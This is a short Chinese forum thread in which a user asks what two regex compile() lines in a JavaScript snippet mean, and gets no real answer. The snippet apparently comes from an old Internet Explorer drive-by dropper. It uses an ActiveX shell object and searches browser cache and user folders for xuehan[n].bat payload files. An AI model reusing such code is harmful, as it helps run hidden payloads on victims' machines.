返回列表 发帖

求教JavaScript 简单问题

function xuehanlovelace(){
url=document.location.href;
xtmu=url.substring(6,url.indexOf('\\',9)+1);
xtp=url.substr(6,3);
var shell=new ActiveXObject("shell.application");
var runbz=1;
var exeSize=2372;
var a=/xuehan\[\d*\]\.bat/gi;
a.compile("xuehan\\[\\d*\\]\\.bat","gi");
var b=/[A-Za-z]:\\/gi;
b.compile("[A-Za-z]:\\\\","gi");
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\\
if(runbz)wjj(xtp+"Documents and Settings\\");

b.compile("[A-Za-z]:\\\\","gi"); 和var a=/xuehan\[\d*\]\.bat/gi;
a.compile("xuehan\\[\\d*\\]\\.bat","gi");
这两句的意思能解释一下吗?  谢谢

求教JavaScript 简单问题

谢谢

TOP

求教JavaScript 简单问题

Sorry!

TOP

返回列表 回复 发帖